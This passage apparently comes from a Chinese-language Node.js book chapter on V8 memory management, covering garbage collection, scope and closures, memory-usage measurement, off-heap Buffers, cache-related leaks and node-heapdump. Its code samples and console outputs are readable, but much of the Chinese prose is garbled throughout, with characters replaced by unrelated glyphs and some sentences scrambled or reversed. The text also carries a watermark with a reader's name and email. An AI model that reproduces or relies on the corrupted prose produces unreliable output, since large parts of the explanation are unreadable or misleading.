      2    5.4     0.0% %  /usr/lib/system/libsystem_c.dylib 
 
 [JavaScript]: 
   ticks  total  nonlib   name 
      3    8.1    60.0   LazyCompile: *<anonymous> % %

/Users/jacksontian/git/diveintonode/examples/05/test01.js:1 
      1    2.7    20.0   Stub: FastCloneShallowObjectStub% %  
      1    2.7    20.0   Function: ~NativeModule.compile node.js:613% %  
 
 [C++]: 
   ticks  total  nonlib   name 
 
 [GC]: 
   ticks  total  nonlib   name 
      2    5.4% 

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权



5.2� ᰳ஌΍ၸЮߚ� � 121 

 

1 

2 

3 

4 

5 

11 

6 

7 

8 

9 

10 

 
 [Bottom up (heavy) profile]: 
  Note: percentage shows a share of a particular caller in the total 
  amount of its parent calls. 
  Callers occupying less than 2.0  are not shown.%  
 
   ticks parent  name 
     28   75.7   /usr/local/bin/node%  
... 

统᝟内ࠓᣖ多，Ф中ٿڥۇ收部分ݟ下Ὑ 

 [GC]: 
   ticks  total  nonlib   name 
      2    5.4% 

由于不ற分ᦠ对៵，ٿڥۇ收੝ӳ的时ᫍ为5.4%。૊൤ඊΒ，这਒։着事͇९环੯ᛠ1000

ඒሙ的过程中要ፋѢ54ඒሙ的时ᫍ用于ٿڥۇ收。 

5.2� 催ᬜՓ⫼ݙᄬ 

在V8᭦前，开发者੝要Хܫ的᠉͉是ݟʹᝧٿڥۇ收机҃ఝ高஌ڠ工作。 

5.2.1� ԰⫼ඳ 

ଡ到ݟʹ触发ٿڥۇ收，ኃ一个要̭ፀ的是作用۪（scope）。在JavaScript中能्੆作用۪

的有ѥ数ុ用、with以ԢКࡌ作用۪。 

以ݟ下̼ᆉ为ΒὙ 

var foo = function () { 
  var local = {}; 
}; 

foo()ѥ数在ඇ次ᜁុ用时会创त对应的作用۪，ѥ数੯ᛠፆో后，ឞ作用۪࠱会ᩘං。Վ

时作用۪中ܥ௙的ࡌ部Ԫ量分ᦠ在ឞ作用۪上，ᬣ作用۪的ᩘංᏪᩘං。只ᜁࡌ部Ԫ量ल用的对

会分ᦠ在新生̼中的Fromቆᫍ中。在作用࠱，活ֆయᣖᆀ。在这个ᇧΒ中，由于对៵᭣࣡小ߚ៵

۪᧕உ后，ࡌ部Ԫ量localܾ஌，Фल用的对៵࠱会在下次ٿڥۇ收时ᜁ᧕உ。 

以上就是最۲本的内ٿߚ收过程。 

1. ᷛ䆚ヺᶹᡒ 
与作用۪相关的Ԁ是ಕ识ቿಉ੼。੝៊ಕ识ቿ，可以ူ解为Ԫ量Տ。在下᭦的̼ᆉ中，੯ᛠ

bar()ѥ数时，࠱会᥄到localԪ量Ὑ 

var bar = function () { 
  console.log(local); 
}; 

JavaScript在੯ᛠ时会Ԝಉ੼ឞԪ量定˦在ג᧖。它最Ўಉ੼的是ॆ前作用۪，ݟ౦在ॆ前作

用۪中௃ก੼到ឞԪ量的ܥ௙，࠱会Փ上ጞ的作用۪᧖ಉ੼，ᄯ到ಉ到为ൢ。 
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2. ԰⫼ඳ䫒 
在下᭦的̼ᆉ中Ὑ 

var foo = function () { 
  var local = 'local var'; 
  var bar = function () { 
    var local = 'another var'; 
    var baz = function () { 
      console.log(local); 
    }; 
    baz(); 
  }; 
  bar(); 
}; 
foo(); 

localԪ量在baz()ѥ数्੆的作用۪᧖ಉ੼不到，继Ꮺ࠱在bar()的作用۪᧖ࠬ੼。ݟ౦Ԝ૿

上ᤗ̼ᆉbar()中的localܥ௙，࠱会继续Փ上ಉ੼，一ᄯ到Кࡌ作用۪。这样的ಉ੼ழय使३作

用۪像一个ᩖ్。由于ಕ识ቿ的ಉ੼ழՓ是Փ上的，੝以Ԫ量只能Փ外᝺问，Ꮺ不能Փ内᝺问。

图5-9为Ԫ量在作用۪中的ಉ੼ᇧ਒图。 

 

图5-9 Ԫ量在作用۪中的ಉ੼ᇧ਒图 

ॆ我们在baz()ѥ数中᝺问localԪ量时，由于作用۪中的Ԫ量Ѵᛪ中没有local，੝以会Փ上

一个作用۪中ಉ੼，接着会在bar()ѥ数੯ᛠ३到的Ԫ量Ѵᛪ中੼到了一个localԪ量的定˦，于

是使用它。ࡉ管在в上一ࡎ的作用۪中也ߚ在local的定˦，ͭ是不会继续ಉ੼了。ݟ౦ಉ੼一

个不ߚ在的Ԫ量，࠱会一ᄯ෸着作用۪ᩖಉ੼到Кࡌ作用۪，最后ઊѢల定˦ᩱឧ。 
了解了作用۪，有ү于我们了解Ԫ量的分ᦠ֖᧕உ。 
3. ব䞣ⱘЏࡼ䞞ᬒ 
作用۪ᭉ要ᄯ到ࡌ由于К，（௙੊定˦在globalԪ量上ܥ不᤯过var）Ԫ量ࡌ౦Ԫ量是Кݟ

ᤈ程ᤝѢ才能᧕உ，൤时࠭࠱ᒰल用的对៵࣡᯾内ߚ（࣡᯾在Ꮴ生̼中）。ݟ౦ᭉ要᧕உ࣡᯾内

Ԫ量᧗新ᠱϘ，ᝧே的对៵ᑱሎल用关࠱的对៵，可以᤯过deleteୱ作౎Ѻᬓल用关系。੊者ߚ

系。在接下౎的Ꮴ生̼内ߚຌᬓ֖ஞူ的过程中，会ᜁٿ收᧕உ。下᭦为ᇧΒ̼ᆉὙ 
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global.foo = "I am global object"; 
console.log(global.foo); // => "I am global object" 
delete global.foo; 
// ई者重ႎޯኵ 
global.foo = undefined; // or null 
console.log(global.foo); // => undefined 

Վ样，ݟ౦在᭣Кࡌ作用۪中，想˞动᧕உԪ量ल用的对៵，也可以᤯过这样的ழय。ᙉཨ

deleteୱ作֖᧗新ᠱϘХ有相Վ的஌౦，ͭ是在V8中᤯过deleteѺᬓ对៵的࡚性有可能࣯੷V8

的优Ӑ，੝以᤯过ᠱϘழय解ᬓल用ఝ好。 

5.2.2� 䯁ࣙ 

我们ᅻ᥊作用۪ᩖ上的对៵᝺问只能Փ上，这样外部௃กՓ内部᝺问。ݟ下̼ᆉ可以ൣ࣡ 

੩ӾὙ 

var foo = function () { 
  var local = "局部Վ量"; 
  (function () { 
    console.log(local); 
  }()); 
}; 

ͭ在下᭦的̼ᆉ中，ԁ会३到localల定˦的ऩ࣡Ὑ 

var foo = function () { 
  (function () { 
    var local = "局部Վ量"; 
  }()); 
  console.log(local); 
}; 

在JavaScript中，实ဗ外部作用۪᝺问内部作用۪中Ԫ量的ழกԶ做᫆Ӊ὇closureὈ。这३ᄝ

于高᫼ѥ数的ྱ性Ὑѥ数可以作为ԟ数੊者ᤄٿϘ。ᇧΒ̼ᆉ的ݟ下Ὑ 

var foo = function () { 
  var bar = function () { 
    var local = "局部Վ量"; 
    return function () { 
      return local; 
    }; 
  }; 
  var baz = bar(); 
  console.log(baz()); 
}; 

一ᓉᏪ言，在bar()ѥ数੯ᛠ߸੆后，ࡌ部Ԫ量local࠱会ᬣ着作用۪的ᩘංᏪᜁٿ收。ͭ是

ซ਒这᧖的ྱཁ在于ᤄٿϘ是一个ӟՏѥ数，且这个ѥ数中Хܫ了᝺问local的్͇。ᙉཨ在后

续的੯ᛠ中，在外部作用۪中还是௃กᄯ接᝺问local，ͭ是ᔩ要᝺问它，只要᤯过这个中ᫍѥ

数ሮ作ֆᣀԀ可。 
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᫆包是JavaScript的高ጞྱ性，ѽ用它可以产生很多ݫࢻ的஌౦。它的问题在于，一ெ有Ԫ量

ल用这个中ᫍѥ数，这个中ᫍѥ数࠱不会᧕உ，Վ时也会使ԓ始的作用۪不会३到᧕உ，作用۪

中产生的内ߚӳ用也不会३到᧕உ。ᬓ᭣不в有ल用，才会ᤩ൥᧕உ。 

5.2.3� ᇣ㒧 

在ൣ࣡的JavaScript੯ᛠ中，௃ก立Ԁٿ收的内ߚ有᫆包֖КࡌԪ量ल用这ˏሗ情х。由于

V8的内ߚᬌ҃，要Ӡ分小心൤ዜԪ量是否௃ᬌ҃ܘڠ加，因为它会࠭ᒰᏤ生̼中的对៵ܘ多。 

5.3�  ᄬᣛᷛݙ

一ᓉᏪ言，应用中ߚ在一些Кࡌ性的对៵是ൣ࣡的，Ꮺ且在ൣ࣡的使用中，Ԫ量都会自动᧕

உٿ收。ͭ 是也会ߚ在一些我们认为会ٿ收ͭ是ԁ没有ᜁٿ收的对៵，这会࠭ᒰ内ߚӳ用௃ᬌܘ

᫁。一ெܘ᫁᣹到V8的内ߚᬌ҃，࠱会३到内ຼߚѢᩱឧ，ᤈᏪ࠭ᒰᤈ程ᤝѢ。 

5.3.1� ᶹⳟݙᄬՓ⫼ᚙމ 

前᭦我们ଡ到了process.memoryUsage()可以ಉᄹ内ߚ使用情х。ᬓ൤之外，osഴڰ中的

totalmem()֖freemem()ழก也可以ಉᄹ内ߚ使用情х。 

1. ᶹⳟ䖯⿟ⱘݙᄬऴ⫼ 
ុ用process.memoryUsage()可以ᄹ到Nodeᤈ程的内ߚӳ用情х，ᇧΒ̼ᆉݟ下Ὑ 

$ node 
> process.memoryUsage() 
{ rss: 13852672, 
  heapTotal: 6131200, 
  heapUsed: 2757120 } 

rss是resident set size的᎕写，Ԁᤈ程的࣡᯾内ߚ部分。ᤈ程的内ߚ঳Р有几部分，一部分是

rss，Ф余部分在̓૰区（swap）੊者஠͇系统（filesystem）中。 

ᬓ了rss外，heapTotal֖heapUsed对应的是V8的۶内ߚ信ো。heapTotal是۶中঳Рႁ请的内

 。ᓫߙ量。这3个Ϙ的Ӭͮ都是ߚ量，heapUsedᛪᇧ目前۶中使用中的内ߚ

为了ఝ好ڠಉᄹ஌౦，我们ಪयӐ一下ᣤѢፆ౦Ὑ 

var showMem = function () { 
  var mem = process.memoryUsage(); 
  var format = function (bytes) { 
    return (bytes / 1024 / 1024).toFixed(2) + ' MB'; 
  }; 
  console.log('Process: heapTotal ' + format(mem.heapTotal) + 
    ' heapUsed ' + format(mem.heapUsed) + ' rss ' + format(mem.rss)); 
  console.log('-----------------------------------------------------------'); 
}; 

Վ时，写一个ழก用于不Ϣڠ分ᦠ内ͭߚ不᧕உ内ߚ，相关̼ᆉݟ下Ὑ 
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var useMem = function () { 
  var size = 20 * 1024 * 1024; 
  var arr = new Array(size); 
  for (var i = 0; i < size; i++) { 
    arr[i] = 0; 
  } 
  return arr; 
}; 
 
var total = []; 
 
for (var j = 0; j < 15; j++) { 
  showMem(); 
  total.push(useMem()); 
} 
showMem(); 

�下Ὑݟ为outofmemory.js并੯ᛠ它，३到的ᣤѢፆ౦ߚ以上̼ᆉ࠱

$ node outofmemory.js  
Process: heapTotal 3.86 MB heapUsed 2.10 MB rss 11.16 MB 
---------------------------------------------------------------- 
Process: heapTotal 357.88 MB heapUsed 353.95 MB rss 365.44 MB 
---------------------------------------------------------------- 
Process: heapTotal 520.88 MB heapUsed 513.94 MB rss 526.30 MB 
---------------------------------------------------------------- 
Process: heapTotal 679.91 MB heapUsed 673.86 MB rss 686.14 MB 
---------------------------------------------------------------- 
Process: heapTotal 839.93 MB heapUsed 833.86 MB rss 846.16 MB 
---------------------------------------------------------------- 
Process: heapTotal 999.94 MB heapUsed 993.86 MB rss 1006.93 MB 
---------------------------------------------------------------- 
Process: heapTotal 1159.96 MB heapUsed 1153.86 MB rss 1166.95 MB 
---------------------------------------------------------------- 
Process: heapTotal 1367.99 MB heapUsed 1361.86 MB rss 1375.00 MB 
---------------------------------------------------------------- 
FATAL ERROR: CALL_AND_RETRY_2 Allocation failed - process out of memory 

可以ᄹ到，ඇ次ុ用useMem都࠭ᒰ了3个Ϙ的ܘ᫁。在接ᤂ1500 MB的时候，௃ก继续分ᦠ内

 。Ѣ了，ᤋ९环ͳ都௃ก੯ᛠ߸੆，仅੯ᛠ了7次ຼߚཨ后ᤈ程内，ߚ

2. ᶹⳟ㋏㒳ⱘݙᄬऴ⫼ 
与process.memoryUsage()不Վ的是，osഴڰ中的totalmem()֖freemem()这ˏ个ழก用于ಉᄹୱ

作系统的内ߚ使用情х，它们分Ѿᤄٿ系统的঳内֖ߚ᫋Ꮅ内ߚ，以ߙᓫ为Ӭͮ。ᇧΒ̼ᆉݟ下Ὑ 

$ node 
> os.totalmem() 
8589934592 
> os.freemem() 
4527833088 
>  

从ᣤѢ信ো可以ᄹ到我的ႂᑧ的঳内ߚ为8 GB，ॆ前᫋Ꮅ内ߚ大ᒰ为4.2 GB。 
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5.3.2� ේ໪ݙᄬ 

᤯过process.momoryUsage()的ፆ౦可以ᄹ到，۶中的内ߚ用量঳是小于ᤈ程的࣡᯾内ߚ用

量，这਒։着Node中的内ߚ使用并᭣都是᤯过V8ᤈᛠ分ᦠ的。我们࠱ᥦ些不是᤯过V8分ᦠ的内

 。ߚሥ为۶ܰЮߚ

这᧖我们࠱前᭦的useMem()ழกሮॱஇᤴ一下，࠱ArrayԪ为Buffer，࠱sizeԪ大，ඇ一次ౝ

ᤴ200 MB的对៵，相关̼ᆉݟ下Ὑ 

var useMem = function () { 
  var size = 200 * 1024 * 1024; 
  var buffer = new Buffer(size); 
  for (var i = 0; i < size; i++) { 
    buffer[i] = 0; 
  } 
  return buffer; 
}; 

᧗新੯ᛠឞ̼ᆉ，३到的ᣤѢፆ౦ݟ下੝ᇧὙ 

$ node out_of_heap.js  
Process: heapTotal 3.86 MB heapUsed 2.07 MB rss 11.12 MB 
---------------------------------------------------------------- 
Process: heapTotal 5.85 MB heapUsed 1.94 MB rss 212.88 MB 
---------------------------------------------------------------- 
Process: heapTotal 5.85 MB heapUsed 1.95 MB rss 412.89 MB 
---------------------------------------------------------------- 
Process: heapTotal 5.85 MB heapUsed 1.95 MB rss 612.89 MB 
---------------------------------------------------------------- 
Process: heapTotal 5.85 MB heapUsed 1.92 MB rss 812.89 MB 
---------------------------------------------------------------- 
Process: heapTotal 5.85 MB heapUsed 1.92 MB rss 1012.89 MB 
---------------------------------------------------------------- 
Process: heapTotal 5.85 MB heapUsed 1.84 MB rss 1212.91 MB 
---------------------------------------------------------------- 
Process: heapTotal 5.85 MB heapUsed 1.84 MB rss 1412.91 MB 
---------------------------------------------------------------- 
Process: heapTotal 5.85 MB heapUsed 1.84 MB rss 1612.91 MB 
---------------------------------------------------------------- 
Process: heapTotal 5.85 MB heapUsed 1.84 MB rss 1812.91 MB 
---------------------------------------------------------------- 
Process: heapTotal 5.85 MB heapUsed 1.84 MB rss 2012.91 MB 
---------------------------------------------------------------- 
Process: heapTotal 5.85 MB heapUsed 1.84 MB rss 2212.91 MB 
---------------------------------------------------------------- 
Process: heapTotal 5.85 MB heapUsed 1.84 MB rss 2412.91 MB 
---------------------------------------------------------------- 
Process: heapTotal 5.85 MB heapUsed 1.85 MB rss 2612.91 MB 
---------------------------------------------------------------- 
Process: heapTotal 5.85 MB heapUsed 1.85 MB rss 2812.91 MB 
---------------------------------------------------------------- 
Process: heapTotal 5.85 MB heapUsed 1.85 MB rss 3012.91 MB 
---------------------------------------------------------------- 
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我们ᄹ到15次९环都߸ஞ੯ᛠ，并且ʻ个内ߚӳ用Ϙ与前一个ᇧΒ߸К不Վ。在இᤴ后的ᣤ

Ѣፆ౦中，heapTotal与heapUsed的ԪӐ极小，׬一ԪӐ的是rss的Ϙ，并且ឞϘ已经ᤉᤉᡓ过V8

的ᬌ҃Ϙ。这Ф中的ԓ因是Buffer对៵不Վ于Ф他对៵，它不经过V8的内ߚ分ᦠ机҃，੝以也不

会有۶内ߚ的大小ᬌ҃。 

这਒։着ѽ用۶外内ߚ可以቉ᆠ内ߚᬌ҃的问题。 

为ʹBuffer对៵并᭣᤯过V8分ᦠ὞这在于Node并不Վ于เ᜾٧的应用场景。在เ᜾٧中，

JavaScriptᄯ接ߙူܪቿ˘Ԁ可໗ᡛ绝大多数的ˉ务ᭉය，ᏪNodeѶᭉ要ူܪ网ፎึ֖஠͇I/Oึ，

ୱ作ߙቿ˘ᤉᤉ不能໗ᡛ͛ᣤ的性能ᭉය。 

关于Buffer的ጹᓫ可ԟ᜸ኃ6ብ。 

5.3.3� ᇣ㒧 

从上᭦的̭ፀ可以३ᅻ，Node的内ߚౝ੆˞要由᤯过V8ᤈᛠ分ᦠ的部分֖Node自ᛠ分ᦠ的

部分。ԩV8的ٿڥۇ收ᬌ҃的˞要是V8的۶内ߚ。 

5.4�  ᄬ⊘ⓣݙ

Node对内ߚ෹໣Ӡ分ஏਕ，一ெ线上应用有੆ӡ上ʹ的ึ量，ᥦঢ是一个ߙᓫ的内ߚ෹໣也

会ᤴ੆۶ሤ，ٿڥۇ收过程中࠱会Ᏹ᠟ఝ多时ᫍᤈᛠ对៵ੲଠ，应用ֽ应ᎀਤ，ᄯ到ᤈ程内ຼߚ

Ѣ，应用࢜ຳ。 

在V8的ٿڥۇ收机҃下，在᤯࣡的̼ᆉ编写中，很࠵会Ѣဗ内ߚ෹໣的情х。ͭ是内ߚ෹

໣᤯࣡产生于௃਒ᫍ，ᣖᬱଅಉ。ࡉ管内ߚ෹໣的情х不ࡉ相Վ，ͭФ实质只有一个，ᥦ就是应

 。៵收，Ԫ੆了࣡᯾在Ꮴ生̼中的对ٿ收的对៵Ѣဗ਒外Ꮺ没有ᜁٿॆ

᤯࣡，ᤴ੆内ߚ෹໣的ԓ因有ݟ下几个。 

� ᎀߚ。 

� ᫲Ѵ๖᠟不Ԣ时。 

� 作用۪ల᧕உ。 

5.4.1� ᜢᇚݙᄬᔧخ㓧ᄬ 

ᎀߚ在应用中的作用ˠᡛᣏ᧗，可以Ӡ分有஌ڠᓫᄴᠪ源。因为它的᝺问஌ည要ඊI/O的஌

ည高，一ெ֐中ᎀߚ，就可以ᓫᄴ一次I/O的时ᫍ。 

ͭ是在Node中，ᎀߚ并᭣ྫྷᎾ͈घ。一ெ一个对៵ᜁॆ做ᎀߚ౎使用，ᥦ就਒։着它࠱会࣡

᯾在Ꮴ生̼中。ᎀߚ中ߚϱ的᪃ᡔ多，᫁యߚ活的对៵也就ᡔ多，这࠭࠱ᒰٿڥۇ收在ᤈᛠੲଠ

֖ஞူ时，对这些对៵做௃用ҩ。 

Բ一个问题在于，JavaScript开发者᤯࣡喜欢用对៵的᪃Ϙ对౎ᎀߚˋ᜴，ͭ 这与ːಪ਒˦上

的ᎀߚԠ有着区Ѿ，ːಪ਒˦的ᎀߚ有着߸ؒ的过యን႔，Ꮺ௾᤯对៵的᪃Ϙ对并没有。 
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，收机҃的ॕֽٿڥۇ对៵，ͭ是ԩߚ௛创त一个ᎀࠓ下̼ᆉᙉཨѽ用JavaScript对៵Ӡ分ݟ

只能小量使用Ὑ 

var cache = {}; 
var get = function (key) { 
  if (cache[key]) { 
    return cache[key]; 
  } else { 
    // get from otherwise 
  } 
}; 
var set = function (key, value) { 
  cache[key] = value; 
}; 

上ᤗᇧΒ在解᧕ԓူ后，Ӡ分ࠓ௛ူ解，ݟ౦ᭉ要，只要ᬌ定ᎀߚ对៵的大小，加上߸ؒ的

过యን႔以᫸ൢ内ߚ௃ᬌ҃ܘ᫁，还是可以一用的。 

这᧖ፋѢ一个可能௃਒识ᤴ੆内ߚ෹໣的场景Ὑmemoize。下᭦是ᗂՏዜंunderscore对

memoize的实ဗὙ 

_.memoize = function(func, hasher) { 
  var memo = {}; 
  hasher || (hasher = _.identity); 
  return function() { 
    var key = hasher.apply(this, arguments); 
    return _.has(memo, key) ? memo[key] : (memo[key] = func.apply(this, arguments)); 
  }; 
}; 

它的ԓူ是以ԟ数作为᪃ᤈᛠᎀߚ，以内ߚቆᫍ૰CPU੯ᛠ时ᫍ。这᧖໷ᘨ的ᬝ᫷Ԁ是ඇ个

ᜁ੯ᛠ的ፆ౦都会૊ԟ数ᎀߚ在memo对៵上，不会ᜁຌᬓ。这在前端网页这ሗᆀ时应用场景中不

 。ӳ用不᧕உߚ在大问题，ͭ是੯ᛠ量大֖ԟ数多样性的情х下，会ᤴ੆内ߚ

੝以在Node中，͉ ʹ试图ૅ内ॆߚᎀߚ的ᛠ为都应ॆᜁᬌ҃。ॆ ཨ，这ሗᬌ҃并不是不Љ᝴

使用的਒ধ，Ꮺ是要小心为之。 

1. 㓧ᄬ䰤ࠊㄪ⬹ 
为了解决ᎀߚ中的对៵බᤉ௃ก᧕உ的问题，ᭉ要加入一ሗን႔౎ᬌ҃ᎀߚ的௃ᬌܘ᫁。为

൤我డ写过一个ഴڰlimitablemap，它可以实ဗ对᪃Ϙ数量的ᬌ҃。下᭦是Ф实ဗὙ 

var LimitableMap = function (limit) { 
  this.limit = limit || 10; 
  this.map = {}; 
  this.keys = []; 
}; 
 
var hasOwnProperty = Object.prototype.hasOwnProperty; 
 
LimitableMap.prototype.set = function (key, value) { 
  var map = this.map; 
  var keys = this.keys; 
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  if (!hasOwnProperty.call(map, key)) { 
    if (keys.length === this.limit) { 
      var firstKey = keys.shift(); 
      delete map[firstKey]; 
    } 
    keys.push(key); 
  } 
  map[key] = value; 
}; 
 
LimitableMap.prototype.get = function (key) { 
  return this.map[key]; 
}; 
 
module.exports = LimitableMap; 

可以ᄹ到，实ဗ过程还是᭣࣡ኤӬ的。᝭े᪃在数组中，一ெᡓ过数量，就以ЎᤈЎѢ的ழ

यᤈᛠ淘෎。 

ॆཨ，这ሗ淘෎ን႔并不是Ӡ分高஌，只能应̶小ۋ应用场景。ݟ౦ᭉ要ఝ高஌的ᎀߚ，可

以ԟ᜸Isaac Z. Schlueter᧓用LRUኪก的ᎀڦڠ，ߚ为https://github.com/isaacs/node-lru-cache。ፆ

Ջ有ᬌ҃的ᎀߚ，memoize还是可用的。 

Բ一个಴Β在于ഴڰ机҃。在ኃ2ብ的ഴ̭ڰፀ中，为了加ᤳഴڰ的ल入，੝有ഴڰ都会᤯

过编ដ੯ᛠ，ཨ后ᜁᎀߚ起౎。由于᤯过exports࠭Ѣ的ѥ数，可以᝺问஠͇ഴڰ中的ሒ有Ԫ量，

这样ඇ个஠͇ഴڰ在编ដ੯ᛠ后्੆的作用۪因为ഴڰᎀߚ的ԓ因，不会ᜁ᧕உ。ᇧΒ̼ᆉݟ下

੝ᇧὙ 

(function (exports, require, module, __filename, __dirname) { 
  var local = "局部Վ量"; 
 
  exports.get = function () { 
    return local; 
  }; 
}); 

由于ഴڰ的ᎀߚ机҃，ഴڰ是࣡᯾Ꮴ生̼的。在᝹᝟ഴڰ时，要Ӡ分小心内ߚ෹໣的Ѣဗ。

在下᭦的̼ᆉ，ඇ次ុ用leak()ழก时，都࠭ᒰࡌ部Ԫ量leakArray不Ϣܘ加内ߚ的ӳ用，且不ᜁ

᧕உὙ 

var leakArray = []; 
exports.leak = function () { 
  leakArray.push("leak" + Math.random()); 
}; 

 。ߚᭉ要这˥᝹᝟，ᥦ˥请ຊ加ຌቆ᫲Ѵ的相应接ԯ，以Θុ用者᧕உ内ڠ不可ᥗБڰ౦ഴݟ

2. 㓧ᄬⱘ㾷އᮍḜ 
ᄯ接࠱内ߚ作为ᎀߚ的ழ಴要Ӡ分ਠ᧗。ᬓ了ᬌ҃ᎀߚ的大小外，Բ外要Ꮵᘼ的事情是，ᤈ

程之ᫍ௃กР享内ݟ。ߚ౦在ᤈ程内使用ᎀߚ，这些ᎀߚ不可ᥗБڠ有᧗复，对ྫྷူ内ߚ的使用

是一ሗํ᠟。 
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ϱ࿃খ。外ߚᤈ程自ᢵ不，ߚ目前ඊᣖ好的解决ழ಴是᧓用ᤈ程外的ᎀ，ߚ使用大量ᎀʹݟ

部的ᎀߚᣃ͇有着ᓡ好的ᎀߚ过య淘෎ን႔以Ԣ自有的内ߚ管ူ，不ॕֽNodeᤈ程的性能。它的

好ܪ多多，在Node中˞要可以解决以下ˏ个问题。 

 。收ఝ高஌ٿڥۇ的对៵的数量，ᝧߚ᯾内࣡࠵ᣀሧ到外部，ђߚᎀ࠱ (1)

(2) ᤈ程之ᫍ可以Р享ᎀߚ。 

目前，ࣉ᭦上ᣖ好的ᎀߚ有Redis֖Memcached。Nodeഴڰ的生খ系统Ӡ分߸ؒ，这ˏ个产

品的客ਖ਼端都有，᤯过以下ڦڠ可以ಉᄹХͳ使用ស情。 

� RedisὙhttps://github.com/mranney/node_redis。�

� MemcachedὙhttps://github.com/3rd-Eden/node-memcached。�

5.4.2� ݇⊼䯳߫⢊ᗕ 

在解决了ᎀࣛߚ౎的内ߚ෹໣问题后，Բ一个不经਒产生的内ߚ෹໣Ѷ是᫲Ѵ。在ኃ4ብ中

可以ᄹ到，在JavaScript中可以᤯过᫲Ѵ（数组对៵）౎߸੆᝴多ྱ൳的ᭉය，ඊݟBagpipe。᫲

Ѵ在๖᠟者�生产者ഴۋ中经࣡Ќॆ中ᫍ产ྫྷ。这是一个ࠓ௛঒႔的情х，因为在大多数应用场

景下，๖᠟的ᤳऎᤉᤉ大于生产的ᤳऎ，内ߚ෹໣不௛产生。ͭ是一ெ๖᠟ᤳऎͯ于生产ᤳऎ，

 。会्੆۶ሤ࠱

ˠ个实ᬄ的Βߔ，有的应用会收ᬶ௅ং。ݟ౦൑ᎤᏥᘼ，也᝴会᧓用数૵ं౎᝭े௅ং。௅

ং᤯࣡会是海量的，数૵ंౝत在஠͇系统之上，写入஌ညᤉᤉͯ于஠͇ᄯ接写入，于是会्੆

数૵ं写入ୱ作的۶ሤ，ᏪJavaScript中相关的作用۪也不会३到᧕உ，内ߚӳ用不会ٿᖿ，从Ꮺ

Ѣဗ内ߚ෹໣。 

᥄到这ሗ场景，ᛪࡎ的解决ழ಴是૰用๖᠟ᤳऎఝ高的技术。在௅ং收ᬶ的಴Β中，૰用஠

͇写入௅ং的ழय会ఝ高஌。ᭉ要ซ਒的是，ݟ౦生产ᤳऎ因为౼些ԓ因቉ཨ༎ܘ，੊者๖᠟ᤳ

ऎ因为቉ཨ的系统஋ᬩᬋͯ，内ߚ෹໣还是可能Ѣဗ的。 

深ऎ的解决ழ಴应ឞ是ᄢଌ᫲Ѵ的᫁ऎ，一ெ۶ሤ，应ॆ᤯过ᄢଌ系统产生ઐ᝜并᤯ᅻ相关

人տ。Բ一个解决ழ಴是͉਒ऩ൥ុ用都应ឞ包դᡓ时机҃，一ெ在ᬌ定的时ᫍ内ల߸੆ֽ应，

᤯过ុٿѥ数͛ᤫᡓ时ऩ࣡，使३͉਒ऩ൥ុ用的ុٿ都Хܫ可ଌ的ֽ应时ᫍ，ፋ๖᠟ᤳऎ一个

下ᬌϘ。 

对于BagpipeᏪ言，它ଡΘ了ᡓ时ഴय֖ધ绝ഴय。ը用ᡓ时ഴय时，ុ用加入到᫲Ѵ中就

开始᝟时，ᡓ时就ᄯ接ֽ应一个ᡓ时ᩱឧ。ը用ધ绝ഴय时，ॆ᫲Ѵ઴܊时，新到౎的ុ用会ᄯ

接ֽ应઴܊ᩱឧ。这ˏሗഴय都能ܴ有஌ڠ᫸ൢ᫲Ѵ઴࠭܊ᒰ的内ߚ෹໣问题。 

5.5�  ᄬ⊘ⓣᥦᶹݙ

前᭦ଡԢ了几ሗ࠭ᒰ内ߚ෹໣的࣡᜸ዜۋ。在Node中，由于V8的۶内ߚ大小的ᬌ҃，它对

内ߚ෹໣᭣࣡ஏਕ。ॆ 在线服务的请ය量Ԫ大时，גঢ是一个ߙᓫ的෹໣都会࠭ᒰ内ߚӳ用过高。

这᧖̭ፀ一下᥄到内ߚ෹໣时的ଅಉழ಴。 
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ဗ在已经有᝴多工Х用于定ͮNode应用的内ߚ෹໣，下᭦是一些࣡᜸的工Х。 

� v8-profilerǄ由Danny CoatesଡΘ，它可以用于对V8۶内ߚ઄Ԩঋཱ֖对CPUᤈᛠ分ౡ，

ͭឞᮉ目已经有3年没有፤એ了。 

� node-heapdumpǄ这是Nodeನ心贡献者之一Ben Noordhuis编写的ഴڰ，它Љ᝴对V8۶内

 。઄Ԩঋཱ，用于事后分ౡߚ

� node-mtraceǄ由Jimb EsserଡΘ，它使用了GCC的mtrace工Х౎分ౡ۶的使用。 

� dtraceǄ在Joyent的SmartOS系统上，有߸ؒ的dtrace工Х用౎分ౡ内ߚ෹໣。 

� node-memwatchǄ౎自Mozilla的Lloyd Hilaiel贡献的ഴڰ，᧓用WTFPL᝴可发࣊。 

由于Չሗ్͇ᬌ҃，这᧖࠱只着᧗̭ፀ᤯过node-heapdump֖node-memwatchˏሗழयᤈᛠ内

 。෹໣的ଅಉߚ

5.5.1� node-heapdump 

想要了解node-heapdump对内ߚ෹໣ᤈᛠଅಉ的ழय，我们ᭉ要Ўౝᤴݟ下一͊包դ内ߚ෹

໣的̼ᆉᇧΒ，并࠱Фߚ为server.js஠͇Ὑ 

var leakArray = []; 
var leak = function () { 
  leakArray.push("leak" + Math.random()); 
}; 
 
http.createServer(function (req, res) { 
  leak(); 
  res.writeHead(200, {'Content-Type': 'text/plain'}); 
  res.end('Hello World\n'); 
}).listen(1337); 
 
console.log('Server running at http://127.0.0.1:1337/'); 

在上᭦这ൿ̼ᆉ中，ඇ次᝺问服务ᤈ程都࠱ल起leakArray数组中的Њገܘ加，Ꮺ且३不到

 。౎ഴ઱用ਖ਼᝺问̽֐/收。我们可以用curl工Хᣤ入http://127.0.0.1:1337ٿ

z ߶ᜈnode-heapdump 

߶ᜈnode-heapdump᭣࣡ኤӬ，੯ᛠ以下̽֐Ԁ可Ὑ 

$ npm install heapdump 

߶ᜈnode-heapdump后，在̼ᆉ的ኃ一ᛠຊ加ݟ下̼ᆉ࠱Фल入Ὑ 

var heapdump = require('heapdump'); 

ल入node-heapdump后，就可以ը动服务ᤈ程，并接ԩ客ਖ਼端的请ය。᝺问多次之后，

leakArray中 就 会 Х ܫ 大 量 的 Њ ገ 。 这 个 时 候 我 们 ᤯ 过 Փ 服 务 ᤈ 程 发 ᤞSIGUSR2信 Ձ ， ᝧ

node-heapdump઄ત一͊۶内ߚ的ঋཱ。发ᤞ信Ձ的ݟ̽֐下Ὑ 

$ kill -USR2 <pid> 

